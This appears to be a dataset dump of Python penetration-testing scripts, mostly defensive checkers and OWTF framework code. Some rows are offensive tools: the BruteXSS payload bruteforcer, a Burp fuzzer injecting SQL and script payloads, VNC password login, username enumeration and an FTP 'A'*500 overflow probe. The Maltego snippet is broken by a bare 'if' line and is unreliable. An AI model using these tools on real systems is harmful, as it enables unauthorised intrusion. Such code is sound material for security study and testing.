repo_name
stringclasses 29
values | text
stringlengths 18
367k
| avg_line_length
float64 5.6
132
| max_line_length
int64 11
3.7k
| alphnanum_fraction
float64 0.28
0.94
|
---|---|---|---|---|
owtf | """
owtf.api.handlers.misc
~~~~~~~~~~~~~~~~~~~~~~
To be deprecated.
"""
import tornado.gen
import tornado.httpclient
import tornado.web
from owtf.api.handlers.base import APIRequestHandler
from owtf.lib import exceptions
from owtf.models.error import Error
from owtf.managers.poutput import get_severity_freq, plugin_count_output
from owtf.api.handlers.jwtauth import jwtauth
@jwtauth
class DashboardPanelHandler(APIRequestHandler):
SUPPORTED_METHODS = ["GET"]
def get(self):
try:
self.write(get_severity_freq(self.session))
except exceptions.InvalidParameterType:
raise tornado.web.HTTPError(400)
@jwtauth
class ProgressBarHandler(APIRequestHandler):
SUPPORTED_METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE"]
def set_default_headers(self):
self.add_header("Access-Control-Allow-Origin", "*")
self.add_header("Access-Control-Allow-Methods", "GET, POST, DELETE")
def get(self):
try:
self.write(plugin_count_output(self.session))
except exceptions.InvalidParameterType as e:
cprint(e.parameter)
raise tornado.web.HTTPError(400)
def post(self):
raise tornado.web.HTTPError(405)
def put(self):
raise tornado.web.HTTPError(405)
def patch(self):
raise tornado.web.HTTPError(405)
def delete(self):
raise tornado.web.HTTPError(405)
@jwtauth
class ErrorDataHandler(APIRequestHandler):
SUPPORTED_METHODS = ["GET", "POST", "DELETE", "PATCH"]
def get(self, error_id=None):
if error_id is None:
error_objs = Error.get_all_dict(self.session)
self.write(error_objs)
else:
try:
err_obj = Error.get_error(self.session, error_id)
self.write(err_obj)
except exceptions.InvalidErrorReference:
raise tornado.web.HTTPError(400)
def post(self, error_id=None):
if error_id is None:
filter_data = dict(self.request.arguments)
message = filter_data["message"][0]
trace = filter_data["trace"][0]
err_obj = Error.add_error(self.session, message, trace)
self.write(err_obj)
else:
raise tornado.web.HTTPError(400)
def patch(self, error_id=None):
if error_id is None:
raise tornado.web.HTTPError(400)
if self.request.arguments.get_argument("user_message", default=None):
raise tornado.web.HTTPError(400)
err_obj = Error.update_error(self.session, error_id, self.request.arguments.get_argument("user_message"))
self.finish()
def delete(self, error_id=None):
if error_id is None:
raise tornado.web.HTTPError(400)
try:
Error.delete_error(self.session, error_id)
self.finish()
except exceptions.InvalidErrorReference:
raise tornado.web.HTTPError(400)
| 29.244898 | 113 | 0.62943 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist passive testing for known XSS vectors"
def run(PluginInfo):
resource = get_resources("PassiveCrossSiteScripting")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 30.181818 | 75 | 0.78655 |
Hands-On-Penetration-Testing-with-Python | import os
import sys
sys.path.append(os.getcwd())
from xtreme_server.models import *
from crawler import Crawler
from logger import Logger
project_name = sys.argv[1]
project = Project.objects.get(project_name = project_name)
start_url = str(project.start_url)
query_url = str(project.query_url)
login_url = str(project.login_url)
logout_url = str(project.logout_url)
username_field = str(project.username_field)
password_field = str(project.password_field)
auth_parameters=str(project.auth_parameters)
queueName=str(project.queueName)
redisIP=str(project.redisIP)
settings = {}
settings['allowed_extensions'] = eval(str(project.allowed_extensions))
settings['allowed_protocols'] = eval(str(project.allowed_protocols))
settings['consider_only'] = eval(str(project.consider_only))
settings['exclude'] = eval(str(project.exclude_fields))
settings['username'] = project.username
settings['password'] = project.password
settings['auth_mode'] = project.auth_mode
c = Crawler(crawler_name = project_name, start_url = start_url, query_url = query_url,login_url = login_url,logout_url = logout_url,
allowed_protocols_list = settings['allowed_protocols'],
allowed_extensions_list = settings['allowed_extensions'],
list_of_types_to_consider = settings['consider_only'],
list_of_fields_to_exclude = settings['exclude'],
username = settings['username'],
password = settings['password'],
auth_mode = settings['auth_mode'],
username_field=username_field,
password_field =password_field,queueName=queueName,redisIP=redisIP,
auth_parameters=auth_parameters)
c.start()
| 43.897436 | 133 | 0.684 |
PenetrationTestingScripts | """
WSGI config for scandere project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "scandere.settings")
application = get_wsgi_application()
| 20.944444 | 78 | 0.769036 |
cybersecurity-penetration-testing | #basic username check
import sys
import urllib
import urllib2
if len(sys.argv) !=2:
print "usage: %s username" % (sys.argv[0])
sys.exit(0)
url = "http://www.vulnerablesite.com/forgotpassword.html"
username = str(sys.argv[1])
data = urllib.urlencode({"username":username})
response = urllib2.urlopen(url,data).read()
UnknownStr="Username not found"
if(response.find(UnknownStr)<0):
print "Username exists!"
| 23.588235 | 57 | 0.724221 |
Hands-On-Penetration-Testing-with-Python | import requests
class Detect_HSTS():
def __init__(self,target):
self.target=target
def start(self):
try:
resp=requests.get(self.target)
headers=resp.headers
print ("\n\nHeaders set are : \n" )
for k,v in headers.iteritems():
print(k+":"+v)
if "Strict-Transport-Security" in headers.keys():
print("\n\nHSTS Header present")
else:
print("\n\nStrict-Transport-Security is missing ! ")
except Exception as ex:
print("EXception caught : " +str(ex))
obj=Detect_HSTS("http://192.168.250.1/dvwa")
obj.start()
| 19.37037 | 56 | 0.653916 |
Python-Penetration-Testing-for-Developers | import requests
import re
from bs4 import BeautifulSoup
import sys
scripts = []
if len(sys.argv) != 2:
print "usage: %s url" % (sys.argv[0])
sys.exit(0)
tarurl = sys.argv[1]
url = requests.get(tarurl)
soup = BeautifulSoup(url.text)
for line in soup.find_all('script'):
newline = line.get('src')
scripts.append(newline)
for script in scripts:
if "jquery.min" in str(script).lower():
print script
url = requests.get(script)
comments = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
if comments[0] == "2.1.1" or comments[0] == "1.12.1":
print "Up to date"
else:
print "Out of date"
print "Version detected: "+comments[0]
#try:
# if newline[:4] == "http":
# if tarurl in newline:
# urls.append(str(newline))
# elif newline[:1] == "/":
# combline = tarurl+newline
# urls.append(str(combline))
#except:
# pass
# print "failed"
#for uurl in urls:
# if "jquery" in url:
# | 20.642857 | 55 | 0.638767 |
cybersecurity-penetration-testing | #http://search.maven.org/remotecontent?filepath=org/python/jython-standalone/2.7-b1/jython-standalone-2.7-b1.jar
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArrayList
import random
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.registerIntruderPayloadGeneratorFactory(self)
return
def getGeneratorName(self):
return "BHP Payload Generator"
def createNewInstance(self, attack):
return BHPFuzzer(self, attack)
class BHPFuzzer(IIntruderPayloadGenerator):
def __init__(self, extender, attack):
self._extender = extender
self._helpers = extender._helpers
self._attack = attack
print "BHP Fuzzer initialized"
self.max_payloads = 1000
self.num_payloads = 0
return
def hasMorePayloads(self):
print "hasMorePayloads called."
if self.num_payloads == self.max_payloads:
print "No more payloads."
return False
else:
print "More payloads. Continuing."
return True
def getNextPayload(self,current_payload):
# convert into a string
payload = "".join(chr(x) for x in current_payload)
# call our simple mutator to fuzz the POST
payload = self.mutate_payload(payload)
# increase the number of fuzzing attempts
self.num_payloads += 1
return payload
def reset(self):
self.num_payloads = 0
return
def mutate_payload(self,original_payload):
# pick a simple mutator or even call an external script
# like Radamsa does
picker = random.randint(1,3)
# select a random offset in the payload to mutate
offset = random.randint(0,len(original_payload)-1)
payload = original_payload[:offset]
# random offset insert a SQL injection attempt
if picker == 1:
payload += "'"
# jam an XSS attempt in
if picker == 2:
payload += "<script>alert('BHP!');</script>";
# repeat a chunk of the original payload a random number
if picker == 3:
chunk_length = random.randint(len(payload[offset:]),len(payload)-1)
repeater = random.randint(1,10)
for i in range(repeater):
payload += original_payload[offset:offset+chunk_length]
# add the remaining bits of the payload
payload += original_payload[offset:]
return payload
| 24.765306 | 112 | 0.692155 |
Penetration_Testing | #!/usr/bin/python
# Converts to hex, ascii, decimal, octal, binary, or little-endian.
import sys
from binascii import unhexlify, b2a_base64
def ascToHex(string):
in_hex = string.encode('hex')
return in_hex
def toLittleEndian(string):
little_endian = '0x' + "".join(reversed([string[i:i+2]
for i in range(0, len(string), 2)]))
return little_endian
def toDecimal(string):
in_dec = int(string, 16)
return in_dec
def toAscii(string):
in_ascii = string.decode('hex')
return in_ascii
def toOctal(string):
in_oct = ""
c = 0
for char in string:
c = ord(char)
octa = oct(c)
in_oct += ' ' + str(octa)
return in_oct
def hexToBin(string):
in_hex = int(string, 16)
in_bin = bin(in_hex)[2:]
return in_bin
def binToHex(string):
in_hex = hex(int(string, 2))
return in_hex
def decToHex(number):
in_hex = hex(int(number))
return in_hex
def hexToB64(string):
raw = unhexlify(string)
in_b64 = b2a_base64(raw)
return in_b64
| 14.672131 | 67 | 0.668063 |
owtf | """
PASSIVE Plugin for Testing_for_SSL-TLS_(OWASP-CM-001)
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Third party resources"
def run(PluginInfo):
# Vuln search box to be built in core and resued in different plugins:
resource = get_resources("PassiveSSL")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 26.357143 | 75 | 0.73822 |
PenetrationTestingScripts | __author__ = 'wilson'
from Crypto.Cipher import DES
from sys import version_info
import time
class VNC_Error(Exception):
pass
class VNC:
def connect(self, host, port, timeout):
self.fp = socket.create_connection((host, port), timeout=timeout)
resp = self.fp.recv(99) # banner
self.version = resp[:11].decode('ascii')
if len(resp) > 12:
raise VNC_Error('%s %s' % (self.version, resp[12:].decode('ascii', 'ignore')))
return self.version
def login(self, password):
major, minor = self.version[6], self.version[10]
if (major, minor) in [('3', '8'), ('4', '1')]:
proto = b'RFB 003.008\n'
elif (major, minor) == ('3', '7'):
proto = b'RFB 003.007\n'
else:
proto = b'RFB 003.003\n'
self.fp.sendall(proto)
time.sleep(0.5)
resp = self.fp.recv(99)
if minor in ('7', '8'):
code = ord(resp[0:1])
if code == 0:
raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))
self.fp.sendall(b'\x02') # always use classic VNC authentication
resp = self.fp.recv(99)
else: # minor == '3':
code = ord(resp[3:4])
if code != 2:
raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))
resp = resp[-16:]
if len(resp) != 16:
raise VNC_Error('Unexpected challenge size (No authentication required? Unsupported authentication type?)')
pw = password.ljust(8, '\x00')[:8] # make sure it is 8 chars long, zero padded
key = self.gen_key(pw)
des = DES.new(key, DES.MODE_ECB)
enc = des.encrypt(resp)
self.fp.sendall(enc)
resp = self.fp.recv(99)
self.fp.close()
code = ord(resp[3:4])
mesg = resp[8:].decode('ascii', 'ignore')
if code == 1:
return code, mesg or 'Authentication failure'
elif code == 0:
return code, mesg or 'OK'
else:
raise VNC_Error('Unknown response: %s (code: %s)' % (repr(resp), code))
def gen_key(self, key):
newkey = []
for ki in range(len(key)):
bsrc = ord(key[ki])
btgt = 0
for i in range(8):
if bsrc & (1 << i):
btgt = btgt | (1 << 7-i)
newkey.append(btgt)
if version_info[0] == 2:
return ''.join(chr(c) for c in newkey)
else:
return bytes(newkey)
| 22.479592 | 113 | 0.571739 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
import sys
junk = 'A'*500
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
| 16.909091 | 50 | 0.688776 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-18
# @File : subdomain_brute.py
# @Desc : ""
import time
import os
from threading import Thread
from flask import Blueprint, render_template, request, redirect, url_for, jsonify, make_response, send_from_directory
from bson import ObjectId
from lib.mongo_db import connectiondb, db_name_conf
from fuxi.views.authenticate import login_check
from fuxi.views.modules.subdomain import domain_brute
subdomain_brute = Blueprint('subdomain_brute', __name__)
domain_db = db_name_conf()['domain_db']
plugin_db = db_name_conf()['plugin_db']
subdomain_db = db_name_conf()['subdomain_db']
@subdomain_brute.route('/subdomain-brute', methods=['POST', 'GET'])
@login_check
def subdomain_view():
if request.method == 'GET':
# task delete
if request.args.get('delete'):
domain_id = request.args.get('delete')
connectiondb(domain_db).delete_one({'_id': ObjectId(domain_id)})
connectiondb(subdomain_db).remove({'domain_id': ObjectId(domain_id)})
return redirect(url_for('subdomain_brute.subdomain_view'))
# result download
elif request.args.get('download'):
domain_id = request.args.get('download')
try:
file_name = connectiondb(domain_db).find_one({'_id': ObjectId(domain_id)})['domain'][0]
file_path = os.getcwd() + '/fuxi/static/download/'
if os.path.exists(file_path + file_name):
os.remove(file_path + file_name)
try:
for result in connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)}):
with open(file_path + file_name, "a") as download_file:
download_file.write(result['subdomain'] + "\n")
sub_response = make_response(send_from_directory(file_path, file_name, as_attachment=True))
sub_response.headers["Content-Disposition"] = "attachment; filename=" + file_name
return sub_response
except Exception as e:
return e
except Exception as e:
print(e)
else:
domain_data = connectiondb(domain_db).find().sort('date', -1)
plugin_data = connectiondb(plugin_db).find()
return render_template('subdomain-brute.html', domain_data=domain_data, plugin_data=plugin_data)
# new domain
elif request.method == 'POST':
domain_name_val = request.form.get('domain_name_val')
domain_val = request.form.get('domain_val').split('\n'),
third_domain = request.form.get('third_domain')
domain_list = list(domain_val)[0]
if third_domain == "true":
scan_option = 'Enable'
else:
scan_option = 'Disallow'
domain_data = {
'domain_name': domain_name_val,
'domain': domain_list,
"date": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),
'third_domain': scan_option,
'status': "Preparation",
}
domain_id = connectiondb(domain_db).insert_one(domain_data).inserted_id
if domain_id:
# async domain brute
t1 = Thread(target=domain_brute.start_domain_brute, args=(domain_list, domain_id))
t1.start()
return "success"
@subdomain_brute.route('/subdomain-list', methods=['POST', 'GET'])
@login_check
def subdomain_list():
# Filter out the domain task
if request.method == "GET":
if request.args.get('domain'):
domain_id = request.args.get('domain')
sub_result = connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)})
return render_template('subdomain-list.html', sub_result=sub_result)
# return subdomain for poc scan
elif request.args.get('subdomain'):
subdomain = []
domain_id = request.args.get('subdomain')
for i in connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)}):
subdomain.append(i['subdomain'])
return '\n'.join(subdomain)
# delete subdomain
elif request.args.get('delete'):
subdomain_id = request.args.get('delete')
domain_id = connectiondb(subdomain_db).find_one({'_id': ObjectId(subdomain_id)})['domain_id']
result = connectiondb(subdomain_db).delete_one({'_id': ObjectId(subdomain_id)})
if result:
return redirect(url_for('subdomain_brute.subdomain_list', domain=domain_id))
# default view
else:
sub_result = connectiondb(subdomain_db).find()
return render_template('subdomain-list.html', sub_result=sub_result)
| 41.368421 | 117 | 0.59122 |
PenetrationTestingScripts | #!/usr/bin/env python
#!BruteXSS
#!Cross-Site Scripting Bruteforcer
#!Author: Shawar Khan
#!Site: https://shawarkhan.com
from string import whitespace
import httplib
import urllib
import socket
import urlparse
import os
import sys
import time
from colorama import init , Style, Back,Fore
import mechanize
import httplib
init()
banner = """
____ _ __ ______ ____
| __ ) _ __ _ _| |_ ___ \ \/ / ___/ ___|
| _ \| '__| | | | __/ _ \ \ /\___ \___ \
| |_) | | | |_| | || __/ / \ ___) |__) |
|____/|_| \__,_|\__\___| /_/\_\____/____/
BruteXSS - Cross-Site Scripting BruteForcer
Author: Shawar Khan - https://shawarkhan.com
Sponsored & Supported by Netsparker Web Application Security Scanner ( https://www.netsparker.com )
Note: Using incorrect payloads in the custom
wordlist may give you false positives so its
better to use the wordlist which is already
provided for positive results.
"""
def brutexss():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
print banner
def again():
inp = raw_input("[?] [E]xit or launch [A]gain? (e/a)").lower()
if inp == 'a':
brutexss()
elif inp == 'e':
exit()
else:
print("[!] Incorrect option selected")
again()
grey = Style.DIM+Fore.WHITE
def wordlistimport(file,lst):
try:
with open(file,'r') as f: #Importing Payloads from specified wordlist.
print(Style.DIM+Fore.WHITE+"[+] Loading Payloads from specified wordlist..."+Style.RESET_ALL)
for line in f:
final = str(line.replace("\n",""))
lst.append(final)
except IOError:
print(Style.BRIGHT+Fore.RED+"[!] Wordlist not found!"+Style.RESET_ALL)
again()
def bg(p,status):
try:
b = ""
l = ""
lostatus = ""
num = []
s = len(max(p, key=len)) #list
if s < 10:
s = 10
for i in range(len(p)): num.append(i)
maxval = str(len(num)) #number
for i in range(s) : b = b + "-"
for i in range(len(maxval)):l = l + "-"
statuslen = len(max(status, key=len))
for i in range(statuslen) : lostatus = lostatus + "-"
if len(b) < 10 :
b = "----------"
if len(lostatus) < 14:
lostatus="--------------"
if len(l) < 2 :
l = "--"
los = statuslen
if los < 14:
los = 14
lenb=len(str(len(b)))
if lenb < 14:
lenb = 10
else:
lenb = 20
upb = ("+-%s-+-%s-+-%s-+")%(l,b,lostatus)
print(upb)
st0 = "Parameters"
st1 = "Status"
print("| Id | "+st0.center(s," ")+" | "+st1.center(los," ")+" |")
print(upb)
for n,i,d in zip(num,p,status):
string = (" %s | %s ")%(str(n),str(i));
lofnum = str(n).center(int(len(l))," ")
lofstr = i.center(s," ")
lofst = d.center(los," ")
if "Not Vulnerable" in lofst:
lofst = Fore.GREEN+d.center(los," ")+Style.RESET_ALL
else:
lofst = Fore.RED+d.center(los," ")+Style.RESET_ALL
print("| "+lofnum+" | "+lofstr+" | "+lofst+" |")
print(upb)
return("")
except(ValueError):
print(Style.BRIGHT+Fore.RED+"[!] Uh oh! No parameters in URL!"+Style.RESET_ALL)
again()
def complete(p,r,c,d):
print("[+] Bruteforce Completed.")
if c == 0:
print("[+] Given parameters are "+Style.BRIGHT+Fore.GREEN+"not vulnerable"+Style.RESET_ALL+" to XSS.")
elif c ==1:
print("[+] %s Parameter is "+Style.BRIGHT+Fore.RED+"vulnerable"+Style.RESET_ALL+" to XSS.")%c
else:
print("[+] %s Parameters are "+Style.BRIGHT+Fore.RED+"vulnerable"+Style.RESET_ALL+" to XSS.")%c
print("[+] Scan Result for %s:")%d
print bg(p,r)
again()
def GET():
try:
try:
grey = Style.DIM+Fore.WHITE
site = raw_input("[?] Enter URL:\n[?] > ") #Taking URL
if 'https://' in site:
pass
elif 'http://' in site:
pass
else:
site = "http://"+site
finalurl = urlparse.urlparse(site)
urldata = urlparse.parse_qsl(finalurl.query)
domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)
domain = domain0.replace("https://","").replace("http://","").replace("www.","").replace("/","")
print (Style.DIM+Fore.WHITE+"[+] Checking if "+domain+" is available..."+Style.RESET_ALL)
connection = httplib.HTTPConnection(domain)
connection.connect()
print("[+] "+Fore.GREEN+domain+" is available! Good!"+Style.RESET_ALL)
url = site
paraname = []
paravalue = []
wordlist = raw_input("[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > ")
if len(wordlist) == 0:
wordlist = 'wordlist.txt'
print(grey+"[+] Using Default wordlist..."+Style.RESET_ALL)
else:
pass
payloads = []
wordlistimport(wordlist,payloads)
lop = str(len(payloads))
grey = Style.DIM+Fore.WHITE
print(Style.DIM+Fore.WHITE+"[+] "+lop+" Payloads loaded..."+Style.RESET_ALL)
print("[+] Bruteforce start:")
o = urlparse.urlparse(site)
parameters = urlparse.parse_qs(o.query,keep_blank_values=True)
path = urlparse.urlparse(site).scheme+"://"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path
for para in parameters: #Arranging parameters and values.
for i in parameters[para]:
paraname.append(para)
paravalue.append(i)
total = 0
c = 0
fpar = []
fresult = []
progress = 0
for pn, pv in zip(paraname,paravalue): #Scanning the parameter.
print(grey+"[+] Testing '"+pn+"' parameter..."+Style.RESET_ALL)
fpar.append(str(pn))
for x in payloads: #
validate = x.translate(None, whitespace)
if validate == "":
progress = progress + 1
else:
sys.stdout.write("\r[+] %i / %s payloads injected..."% (progress,len(payloads)))
sys.stdout.flush()
progress = progress + 1
enc = urllib.quote_plus(x)
data = path+"?"+pn+"="+pv+enc
page = urllib.urlopen(data)
sourcecode = page.read()
if x in sourcecode:
print(Style.BRIGHT+Fore.RED+"\n[!]"+" XSS Vulnerability Found! \n"+Fore.RED+Style.BRIGHT+"[!]"+" Parameter:\t%s\n"+Fore.RED+Style.BRIGHT+"[!]"+" Payload:\t%s"+Style.RESET_ALL)%(pn,x)
fresult.append(" Vulnerable ")
c = 1
total = total+1
progress = progress + 1
break
else:
c = 0
if c == 0:
print(Style.BRIGHT+Fore.GREEN+"\n[+]"+Style.RESET_ALL+Style.DIM+Fore.WHITE+" '%s' parameter not vulnerable."+Style.RESET_ALL)%pn
fresult.append("Not Vulnerable")
progress = progress + 1
pass
progress = 0
complete(fpar,fresult,total,domain)
except(httplib.HTTPResponse, socket.error) as Exit:
print(Style.BRIGHT+Fore.RED+"[!] Site "+domain+" is offline!"+Style.RESET_ALL)
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
def POST():
try:
try:
try:
br = mechanize.Browser()
br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11')]
br.set_handle_robots(False)
br.set_handle_refresh(False)
site = raw_input("[?] Enter URL:\n[?] > ") #Taking URL
if 'https://' in site:
pass
elif 'http://' in site:
pass
else:
site = "http://"+site
finalurl = urlparse.urlparse(site)
urldata = urlparse.parse_qsl(finalurl.query)
domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)
domain = domain0.replace("https://","").replace("http://","").replace("www.","").replace("/","")
print (Style.DIM+Fore.WHITE+"[+] Checking if "+domain+" is available..."+Style.RESET_ALL)
connection = httplib.HTTPConnection(domain)
connection.connect()
print("[+] "+Fore.GREEN+domain+" is available! Good!"+Style.RESET_ALL)
path = urlparse.urlparse(site).scheme+"://"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path
url = site
param = str(raw_input("[?] Enter post data: > "))
wordlist = raw_input("[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > ")
if len(wordlist) == 0:
wordlist = 'wordlist.txt'
print("[+] Using Default wordlist...")
else:
pass
payloads = []
wordlistimport(wordlist,payloads)
lop = str(len(payloads))
grey = Style.DIM+Fore.WHITE
print(Style.DIM+Fore.WHITE+"[+] "+lop+" Payloads loaded..."+Style.RESET_ALL)
print("[+] Bruteforce start:")
params = "http://www.site.com/?"+param
finalurl = urlparse.urlparse(params)
urldata = urlparse.parse_qsl(finalurl.query)
o = urlparse.urlparse(params)
parameters = urlparse.parse_qs(o.query,keep_blank_values=True)
paraname = []
paravalue = []
for para in parameters: #Arranging parameters and values.
for i in parameters[para]:
paraname.append(para)
paravalue.append(i)
fpar = []
fresult = []
total = 0
progress = 0
pname1 = [] #parameter name
payload1 = []
for pn, pv in zip(paraname,paravalue): #Scanning the parameter.
print(grey+"[+] Testing '"+pn+"' parameter..."+Style.RESET_ALL)
fpar.append(str(pn))
for i in payloads:
validate = i.translate(None, whitespace)
if validate == "":
progress = progress + 1
else:
progress = progress + 1
sys.stdout.write("\r[+] %i / %s payloads injected..."% (progress,len(payloads)))
sys.stdout.flush()
pname1.append(pn)
payload1.append(str(i))
d4rk = 0
for m in range(len(paraname)):
d = paraname[d4rk]
d1 = paravalue[d4rk]
tst= "".join(pname1)
tst1 = "".join(d)
if pn in d:
d4rk = d4rk + 1
else:
d4rk = d4rk +1
pname1.append(str(d))
payload1.append(str(d1))
data = urllib.urlencode(dict(zip(pname1,payload1)))
r = br.open(path, data)
sourcecode = r.read()
pname1 = []
payload1 = []
if i in sourcecode:
print(Style.BRIGHT+Fore.RED+"\n[!]"+" XSS Vulnerability Found! \n"+Fore.RED+Style.BRIGHT+"[!]"+" Parameter:\t%s\n"+Fore.RED+Style.BRIGHT+"[!]"+" Payload:\t%s"+Style.RESET_ALL)%(pn,i)
fresult.append(" Vulnerable ")
c = 1
total = total+1
progress = progress + 1
break
else:
c = 0
if c == 0:
print(Style.BRIGHT+Fore.GREEN+"\n[+]"+Style.RESET_ALL+Style.DIM+Fore.WHITE+" '%s' parameter not vulnerable."+Style.RESET_ALL)%pn
fresult.append("Not Vulnerable")
progress = progress + 1
pass
progress = 0
complete(fpar,fresult,total,domain)
except(httplib.HTTPResponse, socket.error) as Exit:
print(Style.BRIGHT+Fore.RED+"[!] Site "+domain+" is offline!"+Style.RESET_ALL)
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
except (mechanize.HTTPError,mechanize.URLError) as e:
print(Style.BRIGHT+Fore.RED+"\n[!] HTTP ERROR! %s %s"+Style.RESET_ALL)%(e.code,e.reason)
try:
methodselect = raw_input("[?] Select method: [G]ET or [P]OST (G/P): ").lower()
if methodselect == 'g':
GET()
elif methodselect == 'p':
POST()
else:
print("[!] Incorrect method selected.")
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
brutexss()
| 33.746177 | 191 | 0.573365 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: ifacesdetails.py
Purpose: Provides the details related to a systems interfaces
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met: * Redistributions
of source code must retain the above copyright notice, this list of conditions and
the following disclaimer. * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution. * Neither the
name of the nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''
import sys
try:
import netifaces
except:
sys.exit("[!] Install the netifaces library: pip install netifaces")
gateways = {}
network_ifaces={}
def get_interfaces():
interfaces = netifaces.interfaces()
return interfaces
def get_gateways():
gateway_dict = {}
gws = netifaces.gateways()
for gw in gws:
try:
gateway_iface = gws[gw][netifaces.AF_INET]
gateway_ip, iface = gateway_iface[0], gateway_iface[1]
gw_list =[gateway_ip, iface]
gateway_dict[gw]=gw_list
except:
pass
return gateway_dict
def get_addresses(interface):
addrs = netifaces.ifaddresses(interface)
link_addr = addrs[netifaces.AF_LINK]
iface_addrs = addrs[netifaces.AF_INET]
iface_dict = iface_addrs[0]
link_dict = link_addr[0]
hwaddr = link_dict.get('addr')
iface_addr = iface_dict.get('addr')
iface_broadcast = iface_dict.get('broadcast')
iface_netmask = iface_dict.get('netmask')
return hwaddr, iface_addr, iface_broadcast, iface_netmask
def get_networks(gateways_dict):
networks_dict = {}
for key, value in gateways.iteritems():
gateway_ip, iface = value[0], value[1]
hwaddress, addr, broadcast, netmask = get_addresses(iface)
network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask}
networks_dict[iface] = network
return networks_dict
gateways = get_gateways()
network_ifaces = get_networks(gateways)
print(network_ifaces)
| 38.209877 | 124 | 0.727874 |
Mastering-Machine-Learning-for-Penetration-Testing | import os
import scipy
import array
filename = '<Malware_File_Name_Here>';
f = open(filename,'rb');
ln = os.path.getsize(filename);
width = 256;
rem = ln%width;
a = array.array("B");
a.fromfile(f,ln-rem);
f.close();
g = numpy.reshape(a,(len(a)/width,width));
g = numpy.uint8(g);
scipy.misc.imsave('<Malware_File_Name_Here>.png',g);
| 21.2 | 52 | 0.674699 |
cybersecurity-penetration-testing | import urllib2
from bs4 import BeautifulSoup
import sys
import time
tarurl = sys.argv[1]
if tarurl[-1] == "/":
tarurl = tarurl[:-1]
print"<MaltegoMessage>"
print"<MaltegoTransformResponseMessage>"
print" <Entities>"
url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
for line in soup.find_all('a'):
newline = line.get('href')
if newline[:4] == "http":
print"<Entity Type=\"maltego.Domain\">"
print"<Value>"+str(newline)+"</Value>"
print"</Entity>"
elif newline[:1] == "/":
combline = tarurl+newline
if
print"<Entity Type=\"maltego.Domain\">"
print"<Value>"+str(combline)+"</Value>"
print"</Entity>"
print" </Entities>"
print"</MaltegoTransformResponseMessage>"
print"</MaltegoMessage>" | 23.931034 | 42 | 0.684211 |
Hands-On-Penetration-Testing-with-Python | import requests
class Detect_CJ():
def __init__(self,target):
self.target=target
def start(self):
try:
resp=requests.get(self.target)
headers=resp.headers
print ("\n\nHeaders set are : \n" )
for k,v in headers.iteritems():
print(k+":"+v)
if "X-Frame-Options" in headers.keys():
print("\n\nClick Jacking Header present")
else:
print("\n\nX-Frame-Options is missing ! ")
except Exception as ex:
print("EXception caught : " +str(ex))
